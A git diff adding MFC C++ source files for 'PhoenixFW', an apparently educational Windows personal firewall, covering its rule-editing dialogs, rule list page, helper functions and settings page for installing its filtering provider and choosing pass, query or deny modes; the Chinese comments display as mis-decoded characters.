RULE_SERVICE_TYPE_NNTP: + usPort = RULE_SERVICE_PORT_NNTP; + bEnable = FALSE; + break; + case RULE_SERVICE_TYPE_POP3: + usPort = RULE_SERVICE_PORT_POP3; + bEnable = FALSE; + break; + } + CString s; + s.Format(L"%d", usPort); + m_EditPort.SetWindowText(s); + m_EditPort.EnableWindow(bEnable); +} + +void CRuleDlg::OnSelchangeApplication() +{ + CString s; + m_ComboApp.GetLBText(m_ComboApp.GetCurSel(), s); + m_RuleTitle.SetWindowText(s); +} + +void CRuleDlg::OnAppBrowser() +{ + TCHAR szFilter[] = L"(*.exe)|*.exe||"; + // µ¯³öä¯ÀÀÎļþ¶Ô»°¿ò + CFileDialog dlg(TRUE,NULL,NULL,OFN_FILEMUSTEXIST | OFN_PATHMUSTEXIST,szFilter); + if(dlg.DoModal() == IDOK) + { + m_ComboApp.SetWindowText(dlg.GetPathName()); + } +} + +void CRuleDlg::OnOK() +{ + CString s; + + // »ñÈ¡¶Ë¿ÚºÅ + m_EditPort.GetWindowText(s); + int nPort = _ttoi(s); + if(nPort > 65535 || nPort < 0) + { + MessageBox(L"¶Ë¿ÚÖµÎÞЧ£¬ÓÐЧ·¶Î§Îª 0 - 65535£¬ÇëÖØÐÂÊäÈë¡£"); + m_EditPort.SetFocus(); + return; + } + + // »ñÈ¡Ó¦ÓóÌÐòÃû³Æ + CString sApp; + m_ComboApp.GetWindowText(sApp); + if(sApp.IsEmpty() || ::GetFileAttributes(sApp) == -1) + { + MessageBox(L"Ó¦ÓóÌÐò²»´æÔÚ£¬Çë¼ì²é·¾¶ºÍÃû³Æ¡£"); + m_ComboApp.SetFocus(); + return; + } + + // »ñÈ¡±¸×¢ + CString sMemo; + m_EditMemo.GetWindowText(sMemo); + + // ¼ì²é£¬Èç¹ûÓû§Ã»ÓиıäÈκÎÉèÖõĻ°£¬¾Í°´¡°È¡Ïû¡±´¦Àí + if(sApp == m_RuleItem.szApplication && + m_RuleItem.usServicePort == nPort && + m_RuleItem.ucAction == m_ComboAction.GetCurSel() && + m_RuleItem.ucDirection == m_ComboDirection.GetCurSel() && + m_RuleItem.ucServiceType == m_ComboType.GetCurSel() && + m_RuleItem.sDemo == sMemo) + { + CDialog::OnCancel(); + return; + } + + // ½«½á¹û·µ»Ø¸øµ÷ÓÃÕß + _tcscpy(m_RuleItem.szApplication, sApp); + m_RuleItem.usServicePort = nPort; + m_RuleItem.ucAction = m_ComboAction.GetCurSel(); + m_RuleItem.ucDirection = m_ComboDirection.GetCurSel(); + m_RuleItem.ucServiceType = m_ComboType.GetCurSel(); + if(!sMemo.IsEmpty()) + { + _tcscpy(m_RuleItem.sDemo, sMemo); + } + CDialog::OnOK(); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/RuleDlg.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/RuleDlg.h" new file mode 100644 index 0000000..9de5bba --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/RuleDlg.h" @@ -0,0 +1,62 @@ +#if !defined(AFX_RULEDLG_H__4EF71540_D704_4868_A853_93709B0F806F__INCLUDED_) +#define AFX_RULEDLG_H__4EF71540_D704_4868_A853_93709B0F806F__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// RuleDlg.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CRuleDlg dialog + +class CRuleDlg : public CDialog +{ +public: + static RULE_ITEM m_RuleItem; // ÒªÌí¼ÓµÄ¹æÔò + static BOOL m_bAppQuery; // ÊDz»ÊÇÀ´×ÔDLLÄ£¿éµÄѯÎÊ + static CString m_sPathName; // Èç¹ûm_bAppQueryΪTRUE£¬´Ë±äÁ¿°üº¬ÁË + // ·¢³öѯÎʵÄÓ¦ÓóÌÐòµÄÃû³Æ + +// Construction +public: + CRuleDlg(CWnd* pParent = NULL); // standard constructor + +// Dialog Data + //{{AFX_DATA(CRuleDlg) + enum { IDD = IDD_RULE }; + CComboBox m_ComboType; + CStatic m_RuleTitle; + CEdit m_EditPort; + CEdit m_EditMemo; + CComboBox m_ComboDirection; + CComboBox m_ComboAction; + CComboBox m_ComboApp; + //}}AFX_DATA + + +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CRuleDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + + // Generated message map functions + //{{AFX_MSG(CRuleDlg) + virtual BOOL OnInitDialog(); + afx_msg void OnSelchangeType(); + virtual void OnOK(); + afx_msg void OnSelchangeApplication(); + afx_msg void OnAppBrowser(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_RULEDLG_H__4EF71540_D704_4868_A853_93709B0F806F__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/RulePage.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/RulePage.cpp" new file mode 100644 index 0000000..555c8c9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/RulePage.cpp" @@ -0,0 +1,294 @@ +// RulePage.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "RulePage.h" +#include "Ruledlg.h" +#include "PhoenixFWDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CRulePage property page +extern CPhoenixApp theApp; + + +IMPLEMENT_DYNCREATE(CRulePage, CPropertyPage) + +CRulePage::CRulePage() : CPropertyPage(CRulePage::IDD) +{ + //{{AFX_DATA_INIT(CRulePage) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT +} + +CRulePage::~CRulePage() +{ +} + +void CRulePage::DoDataExchange(CDataExchange* pDX) +{ + CPropertyPage::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CRulePage) + DDX_Control(pDX, IDC_RULES, m_rules); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CRulePage, CPropertyPage) + //{{AFX_MSG_MAP(CRulePage) + ON_BN_CLICKED(IDC_ADD, OnAdd) + ON_BN_CLICKED(IDC_DEL, OnDel) + ON_NOTIFY(NM_CLICK, IDC_RULES, OnClickRules) + ON_BN_CLICKED(IDC_EDIT, OnEdit) + ON_NOTIFY(LVN_ITEMCHANGED, IDC_RULES, OnItemchangedRules) + ON_NOTIFY(NM_DBLCLK, IDC_RULES, OnDblclkRules) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CRulePage message handlers + + +BOOL CRulePage::OnInitDialog() +{ + CPropertyPage::OnInitDialog(); + + // ³õʼ»¯ÁбíÊÓͼ¿Ø¼þ + m_rules.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES); + m_rules.InsertColumn(0, L"Ó¦ÓóÌÐò", LVCFMT_LEFT, sizeof(L"Ó¦ÓóÌÐò")*8, 0); + m_rules.InsertColumn(1, L"¶¯×÷", LVCFMT_LEFT, sizeof( L"¶¯×÷")*8, 1); + m_rules.InsertColumn(2, L"ÀàÐÍ/¶Ë¿Ú", LVCFMT_LEFT, sizeof(L"ÀàÐÍ/¶Ë¿Ú")*8, 2); + m_rules.InsertColumn(3, L"Ó¦ÓóÌÐò·¾¶", LVCFMT_LEFT, sizeof(L"Ó¦ÓóÌÐò·¾¶")*12, 3); + m_rules.InsertColumn(4, L"˵Ã÷", LVCFMT_LEFT, sizeof(L"˵Ã÷")*12, 4); + + // ¸üÐÂÁÐ±í£¬¼´ÏòÁбíÖÐÌí¼Ó¹æÔò + UpdateList(); + + // ÎÞЧɾ³ýºÍ±à¼­°´Å¥ + GetDlgItem(IDC_DEL)->EnableWindow(FALSE); + GetDlgItem(IDC_EDIT)->EnableWindow(FALSE); + + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + +void CRulePage::UpdateList() +{ + // Çå¿ÕÁбí + m_rules.DeleteAllItems(); + + // ÏòÁбíÖÐÌí¼Ó¹æÔò + for(int i=0; i<(int)g_RuleFile.m_header.ulLspRuleCount; i++) + EditARule(&g_RuleFile.m_pLspRules[i]); +} + +void CRulePage::EditARule(RULE_ITEM *pItem, int nEditIndex) +{ + // Èç¹ûnEditIndex´óÓÚµÈÓÚ0¾Í±à¼­Ë÷ÒýΪnEditIndexµÄÏ·ñÔò²åÈëÒ»¸öÐÂÏî + int nIndex = m_rules.GetItemCount(); + if(nEditIndex >= 0) + nIndex = nEditIndex; + else + m_rules.InsertItem(nIndex, L"", 0); + + // ¹¹½¨ÐÂÏîµÄÎı¾ + CString sAction, sServType; + + sAction = (pItem->ucAction == 0) ? L"·ÅÐÐ" : L"¾Ü¾ø"; + + switch(pItem->ucServiceType) + { + case RULE_SERVICE_TYPE_ALL: + sServType.Format(L"ËùÓÐ/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_TCP: + sServType.Format(L"TCP/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_UDP: + sServType.Format(L"UDP/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_FTP: + sServType.Format(L"FTP/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_TELNET: + sServType.Format(L"TELNET/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_HTTP: + sServType.Format(L"HTTP/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_NNTP: + sServType.Format(L"NNTP/%d", pItem->usServicePort); + break; + case RULE_SERVICE_TYPE_POP3: + sServType.Format(L"POP3/%d", pItem->usServicePort); + break; + } + + // ÉèÖÃÐÂÏîµÄÎı¾ + m_rules.SetItemText(nIndex, 0, GetFileName(pItem->szApplication)); + m_rules.SetItemText(nIndex, 1, sAction); + m_rules.SetItemText(nIndex, 2, sServType); + m_rules.SetItemText(nIndex, 3, GetFilePath(pItem->szApplication)); + m_rules.SetItemText(nIndex, 4, pItem->sDemo); +} + + + + +int CRulePage::InitAddRule(LPCTSTR szQueryApp) +{ + if(g_RuleFile.m_header.ulLspRuleCount > MAX_RULE_COUNT) + { + AfxMessageBox(L" ³¬¹ý¹æÔòµÄ×î´óÊýÄ¿£¬²»Äܹ»ÔÙÌí¼Ó"); + return -1; + } + + // ÉèÖÃÒ»¸öĬÈϵĹæÔò + RULE_ITEM tmpRule; + + _tcscpy(tmpRule.sDemo, L""); + _tcscpy(tmpRule.szApplication, L""); + tmpRule.ucAction = RULE_ACTION_PASS; + tmpRule.ucDirection = RULE_DIRECTION_IN_OUT; + tmpRule.ucServiceType = RULE_SERVICE_TYPE_ALL; + tmpRule.usServicePort = RULE_SERVICE_PORT_ALL; + + // ÉèÖô«µÝµÄ²ÎÊý + CRuleDlg::m_sPathName = szQueryApp; + CRuleDlg::m_RuleItem = tmpRule; + CRuleDlg::m_bAppQuery = (szQueryApp == NULL) ? 0 : 1; + + // ÉèÖñ¾Ò³ÃæΪ»î¶¯Ò³Ãæ + if(CRuleDlg::m_bAppQuery) + ((CMainDlg*)theApp.m_pMainWnd)->m_sheet.SetActivePage(this); + + // µ¯³öÌí¼Ó¹æÔò¶Ô»°¿ò + CRuleDlg dlg; + if(dlg.DoModal() == IDCANCEL) + { + return -1; + } + + // ½«¹æÔòÌí¼Óµ½Îļþ + if(!g_RuleFile.AddLspRules(&CRuleDlg::m_RuleItem, 1)) + { + AfxMessageBox(L"Ìí¼Ó ACL ¹æÔò´íÎó¡£"); + return -1; + } + + // ½«¹æÔòÌí¼Óµ½ÁбíÊÔͼ + EditARule(&CRuleDlg::m_RuleItem); + + return CRuleDlg::m_RuleItem.ucAction; +} + +BOOL CRulePage::AddQueryRule(LPCTSTR pszQueryApp) // ¾²Ì¬º¯Êý +{ + int nRet = ((CMainDlg*)theApp.m_pMainWnd)->m_RulePage.InitAddRule(pszQueryApp); + if( nRet == -1 ) + return FALSE; + + // ½«¹æÔò±£´æµ½Îļþ + g_RuleFile.SaveRules(); + + // ½«¹æÔòÓ¦Óõ½DLLÄ£¿é + theApp.ApplyFileData(); + // ÎÞЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + ((CMainDlg*)theApp.m_pMainWnd)->GetDlgItem(IDC_APPLY)->EnableWindow(FALSE); + + return nRet == RULE_ACTION_PASS; +} + +void CRulePage::OnAdd() // Óû§µã»÷¡°Ìí¼Ó¡±°´Å¥ +{ + if(InitAddRule() != 0) + return; + // ÓÐЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); +} + + + +void CRulePage::OnEdit() // Óû§µã»÷¡°±à¼­¡± °´Å¥ +{ + if(m_nListIndex < 0) + return; + + CRuleDlg::m_RuleItem = g_RuleFile.m_pLspRules[m_nListIndex]; + CRuleDlg::m_bAppQuery = FALSE; + + CRuleDlg dlg; + if(dlg.DoModal() == IDOK) + { + g_RuleFile.m_pLspRules[m_nListIndex] = CRuleDlg::m_RuleItem; + EditARule(&CRuleDlg::m_RuleItem, m_nListIndex); + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); + } +} + +void CRulePage::OnDblclkRules(NMHDR* pNMHDR, LRESULT* pResult) // Óû§Ë«»÷Áбí +{ + NM_LISTVIEW* pNMList = (NM_LISTVIEW*)pNMHDR; + if((m_nListIndex = pNMList->iItem) != -1) + { + OnEdit(); + } + *pResult = 0; +} + +void CRulePage::OnDel() // Óû§µã»÷¡°É¾³ý¡± °´Å¥ +{ + if(m_nListIndex < 0) + return; + + // ´ÓÎļþÖн«¹æÔòɾ³ý + g_RuleFile.DelLspRule(m_nListIndex); + // ´ÓÁбíÊÔͼÖн«Îļþɾ³ý + m_rules.DeleteItem(m_nListIndex); + // ÓÐЧÖ÷´°¿ÚµÄ¡°Ó¦Óá±°´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); + + // Èç¹ûûÓйæÔòÁË£¬ÔòÎÞЧ¡°±à¼­¡±ºÍ¡°É¾³ý¡±°´Å¥ + if(m_rules.GetItemCount() <= 0) + { + GetDlgItem(IDC_DEL)->EnableWindow(FALSE); + GetDlgItem(IDC_EDIT)->EnableWindow(FALSE); + return; + } + // ·ñÔò£¬Ñ¡ÖÐÏÂÒ»¸ö¹æÔò + if(m_nListIndex == m_rules.GetItemCount()) // Èç¹ûɾ³ýµÄÊÇ×îºóÒ»¸ö + m_nListIndex--; + m_rules.SetItemState(m_nListIndex, LVIS_SELECTED, LVIS_SELECTED); +} + +void CRulePage::OnItemchangedRules(NMHDR* pNMHDR, LRESULT* pResult) // Óû§¸Ä±äËùÑ¡Ïî +{ + NM_LISTVIEW* pNMList = (NM_LISTVIEW*)pNMHDR; + // »ñÈ¡µ±Ç°Ñ¡ÔñÏîµÄË÷Òý£¬Èç¹ûûÓÐÑ¡ÔñÈκÎÏîÄ¿£¬ÔòÎÞЧ¡°±à¼­¡±ºÍ¡°É¾³ý¡±°´Å¥ + if((m_nListIndex = pNMList->iItem) != -1) + { + GetDlgItem(IDC_DEL)->EnableWindow(TRUE); + GetDlgItem(IDC_EDIT)->EnableWindow(TRUE); + } + + *pResult = 0; +} + +void CRulePage::OnClickRules(NMHDR* pNMHDR, LRESULT* pResult) // Óû§µ¥»÷Áбí +{ + NM_LISTVIEW* pNMList = (NM_LISTVIEW*)pNMHDR; + // »ñÈ¡µ±Ç°Ñ¡ÔñÏîµÄË÷Òý£¬Èç¹ûûÓÐÑ¡ÔñÈκÎÏîÄ¿£¬ÔòÎÞЧ¡°±à¼­¡±ºÍ¡°É¾³ý¡±°´Å¥ + if((m_nListIndex = pNMList->iItem) == -1) + { + GetDlgItem(IDC_DEL)->EnableWindow(FALSE); + GetDlgItem(IDC_EDIT)->EnableWindow(FALSE); + } + *pResult = 0; +} + diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/RulePage.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/RulePage.h" new file mode 100644 index 0000000..540ec53 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/RulePage.h" @@ -0,0 +1,67 @@ +#if !defined(AFX_RULEPAGE_H__2E33FF92_18FC_4468_B4CD_1CC0CCC89189__INCLUDED_) +#define AFX_RULEPAGE_H__2E33FF92_18FC_4468_B4CD_1CC0CCC89189__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// RulePage.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CRulePage dialog + +class CRulePage : public CPropertyPage +{ + DECLARE_DYNCREATE(CRulePage) + +// Construction +public: + CRulePage(); + ~CRulePage(); + // ±à¼­Ò»¸ö¹æÔò£¬Èç¹ûnEditIndex == -1£¬ÔòÌí¼ÓÒ»¸öеĹæÔò + void EditARule(RULE_ITEM *pItem, int nEditIndex = -1); + + void UpdateList(); + + int InitAddRule(LPCTSTR pszQueryApp = NULL); + + static BOOL AddQueryRule(LPCTSTR pszQueryApp); + +// Dialog Data + //{{AFX_DATA(CRulePage) + enum { IDD = IDD_RULE_CONTROL }; + CListCtrl m_rules; + //}}AFX_DATA + + +// Overrides + // ClassWizard generate virtual function overrides + //{{AFX_VIRTUAL(CRulePage) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +protected: + + int m_nListIndex; + +// Implementation +protected: + // Generated message map functions + //{{AFX_MSG(CRulePage) + afx_msg void OnAdd(); + virtual BOOL OnInitDialog(); + afx_msg void OnDel(); + afx_msg void OnClickRules(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnEdit(); + afx_msg void OnItemchangedRules(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnDblclkRules(NMHDR* pNMHDR, LRESULT* pResult); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() + +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_RULEPAGE_H__2E33FF92_18FC_4468_B4CD_1CC0CCC89189__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/StdAfx.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/StdAfx.cpp" new file mode 100644 index 0000000..eeedea5 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/StdAfx.cpp" @@ -0,0 +1,40 @@ +// stdafx.cpp : source file that includes just the standard includes +// PhoenixFW.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + + + +CString GetFilePath(TCHAR *sFilename) +{ + TCHAR sDrive[_MAX_DRIVE]; + TCHAR sDir[_MAX_DIR]; + TCHAR sFname[_MAX_FNAME]; + TCHAR sExt[_MAX_EXT]; + + _tsplitpath(sFilename, sDrive, sDir, sFname, sExt); + + CString rVal(CString(sDrive) + CString(sDir)); + int nLen = rVal.GetLength(); + + if (rVal.GetAt(nLen-1) != _T('\\')) + rVal += _T("\\"); + + return rVal; +} + +CString GetFileName(TCHAR *sFilename) +{ + TCHAR sDrive[_MAX_DRIVE]; + TCHAR sDir[_MAX_DIR]; + TCHAR sFname[_MAX_FNAME]; + TCHAR sExt[_MAX_EXT]; + + _tsplitpath(sFilename, sDrive, sDir, sFname, sExt); + + CString rVal; + rVal.Format(_T("%s%s"), sFname, sExt); + + return rVal; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/StdAfx.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/StdAfx.h" new file mode 100644 index 0000000..54e7998 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/StdAfx.h" @@ -0,0 +1,50 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#if !defined(AFX_STDAFX_H__0C568B09_4D19_40F6_9213_484EB885C0B1__INCLUDED_) +#define AFX_STDAFX_H__0C568B09_4D19_40F6_9213_484EB885C0B1__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#define VC_EXTRALEAN // Exclude rarely-used stuff from Windows headers + +#include // MFC core and standard components +#include // MFC extensions +#include // MFC Automation classes +#include // MFC support for Internet Explorer 4 Common Controls +#ifndef _AFX_NO_AFXCMN_SUPPORT +#include // MFC support for Windows Common Controls +#endif // _AFX_NO_AFXCMN_SUPPORT + +#include "atlbase.h" + +#include +#pragma comment(lib, "Ws2_32.lib") +#pragma comment(lib, "Rpcrt4.lib") + +#include "../common/PMacRes.h" +#include "../common/TypeStruct.h" +#include "PRuleFile.h" +#include "PIOControl.h" +#include "iocommon.h" +#include "ptutils.h" + +extern CPRuleFile g_RuleFile; +extern CPIOControl *g_pIoControl; + + +CString GetFilePath(TCHAR *sFilename); +CString GetFileName(TCHAR *sFilename); + +BOOL InstallProvider(WCHAR *pwszPathName); +BOOL RemoveProvider(); + + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_STDAFX_H__0C568B09_4D19_40F6_9213_484EB885C0B1__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/SyssetPage.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/SyssetPage.cpp" new file mode 100644 index 0000000..a68be12 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/SyssetPage.cpp" @@ -0,0 +1,172 @@ +// SyssetPage.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "SyssetPage.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + + +///////////////////////////////////////////////////////////////////////////// +// CSyssetPage property page + +IMPLEMENT_DYNCREATE(CSyssetPage, CPropertyPage) + +CSyssetPage::CSyssetPage() : CPropertyPage(CSyssetPage::IDD) +{ + //{{AFX_DATA_INIT(CSyssetPage) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT +} + +CSyssetPage::~CSyssetPage() +{ +} + +void CSyssetPage::DoDataExchange(CDataExchange* pDX) +{ + CPropertyPage::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CSyssetPage) + DDX_Control(pDX, IDC_AUTOSTART, m_AutoStart); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CSyssetPage, CPropertyPage) + //{{AFX_MSG_MAP(CSyssetPage) + ON_BN_CLICKED(IDC_INSTALL, OnInstall) + ON_BN_CLICKED(IDC_REMOVE, OnRemove) + ON_BN_CLICKED(IDC_AUTOSTART, OnAutostart) + ON_BN_CLICKED(IDC_PASS_ALL, OnPassAll) + ON_BN_CLICKED(IDC_QUERY_ALL, OnQueryAll) + ON_BN_CLICKED(IDC_DENY_ALL, OnDenyAll) + ON_BN_CLICKED(IDC_KERPASS_ALL, OnKerpassAll) + ON_BN_CLICKED(IDC_KERSTART_FILTER, OnKerstartFilter) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CSyssetPage message handlers + +BOOL CSyssetPage::OnInitDialog() +{ + CPropertyPage::OnInitDialog(); + + // ÉèÖÿª»ú×Ô¶¯Æô¶¯¸´Ñ¡¿ò + if(g_RuleFile.m_header.bAutoStart) + ((CButton*)GetDlgItem(IDC_AUTOSTART))->SetCheck(1); + + // Óû§²ã¹¤×÷ģʽÉèÖõ¥Ñ¡¿ò + switch(g_RuleFile.m_header.ucLspWorkMode) + { + case PF_PASS_ALL: + ((CButton*)GetDlgItem(IDC_PASS_ALL))->SetCheck(1); + break; + case PF_QUERY_ALL: + ((CButton*)GetDlgItem(IDC_QUERY_ALL))->SetCheck(1); + break; + case PF_DENY_ALL: + ((CButton*)GetDlgItem(IDC_DENY_ALL))->SetCheck(1); + break; + } + + // ºËÐIJ㹤×÷ģʽÉèÖõ¥Ñ¡¿ò + switch(g_RuleFile.m_header.ucKerWorkMode) + { + case IM_PASS_ALL: + ((CButton*)GetDlgItem(IDC_KERPASS_ALL))->SetCheck(1); + break; + case IM_START_FILTER: + ((CButton*)GetDlgItem(IDC_KERSTART_FILTER))->SetCheck(1); + break; + } + + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + +void CSyssetPage::OnInstall() // Óû§µã»÷"°²×°"°´Å¥ +{ + TCHAR szPathName[256]; + TCHAR* p; + + // ×¢Ò⣬°²×°LSPÐèҪʹÓÃÍêÕûDLL·¾¶¡£ÕâÑùµÄ»°£¬CPIOControlÀàÔÚ¼ÓÔØDLLʱҲӦʹÓà + // ÍêÕû·¾¶£¬·ñÔòCPIOControlÀà¼ÓÔصÄDLL²»ÄܺÍ×÷ΪLSPµÄDLL¹²ÏíÄÚ´æ + if(::GetFullPathName(PHOENIX_SERVICE_DLL_NAME, 256, szPathName, &p) != 0) + { + if(InstallProvider(szPathName)) + { + MessageBox(L" Ó¦Óòã¹ýÂË°²×°³É¹¦£¡"); + return; + } + } + MessageBox(L" Ó¦Óòã¹ýÂË°²×°Ê§°Ü£¡"); +} + +void CSyssetPage::OnRemove() // Óû§µã»÷"жÔØ"°´Å¥ +{ + if(RemoveProvider()) + MessageBox(L" Ó¦Óòã¹ýÂËжÔسɹ¦£¡"); + else + MessageBox(L" Ó¦Óòã¹ýÂËжÔØʧ°Ü£¡"); +} + + +void CSyssetPage::OnAutostart() // Óû§µã»÷"¿ª»ú×Ô¶¯ÔËÐÐ"¸´Ñ¡¿ò +{ + BOOL bCheck = m_AutoStart.GetCheck(); + g_RuleFile.m_header.bAutoStart = bCheck; + + // ÓÐЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); +} + +void CSyssetPage::OnPassAll() // Óû§µã»÷Óû§²ãϵġ°·ÅÐÐËùÓС±µ¥Ñ¡¿ò +{ + SetLspWorkMode(PF_PASS_ALL); +} + +void CSyssetPage::OnQueryAll() // Óû§µã»÷Óû§²ãϵġ°Ñ¯ÎÊ¡± µ¥Ñ¡¿ò +{ + SetLspWorkMode(PF_QUERY_ALL); +} + +void CSyssetPage::OnDenyAll() // Óû§µã»÷Óû§²ãϵġ°¾Ü¾øËùÓС± µ¥Ñ¡¿ò +{ + SetLspWorkMode(PF_DENY_ALL); +} + + +void CSyssetPage::OnKerpassAll() // Óû§µã»÷ºËÐIJãϵġ°·ÅÐÐËùÓС± µ¥Ñ¡¿ò +{ + SetKerWorkMode(IM_PASS_ALL); +} + +void CSyssetPage::OnKerstartFilter() // Óû§µã»÷ºËÐIJãϵġ°¿ªÆô¹ýÂË¡± µ¥Ñ¡¿ò +{ + SetKerWorkMode(IM_START_FILTER); +} + + +void CSyssetPage::SetKerWorkMode(int nWorkMode) +{ + g_RuleFile.m_header.ucKerWorkMode = nWorkMode; + // ÓÐЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); +} + +void CSyssetPage::SetLspWorkMode(int nWorkMode) +{ + g_RuleFile.m_header.ucLspWorkMode = nWorkMode; + // ÓÐЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); +} + + + + diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/SyssetPage.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/SyssetPage.h" new file mode 100644 index 0000000..9d016bd --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/SyssetPage.h" @@ -0,0 +1,60 @@ +#if !defined(AFX_SYSSETPAGE_H__A58C43DD_CA34_4ED5_AD7A_C0BAC9B95BED__INCLUDED_) +#define AFX_SYSSETPAGE_H__A58C43DD_CA34_4ED5_AD7A_C0BAC9B95BED__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// SyssetPage.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CSyssetPage dialog + +class CSyssetPage : public CPropertyPage +{ + DECLARE_DYNCREATE(CSyssetPage) + +// Construction +public: + CSyssetPage(); + ~CSyssetPage(); + + void SetLspWorkMode(int nWorkMode); + void SetKerWorkMode(int nWorkMode); + +// Dialog Data + //{{AFX_DATA(CSyssetPage) + enum { IDD = IDD_SYSSET }; + CButton m_AutoStart; + //}}AFX_DATA + + +// Overrides + // ClassWizard generate virtual function overrides + //{{AFX_VIRTUAL(CSyssetPage) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + // Generated message map functions + //{{AFX_MSG(CSyssetPage) + afx_msg void OnInstall(); + afx_msg void OnRemove(); + afx_msg void 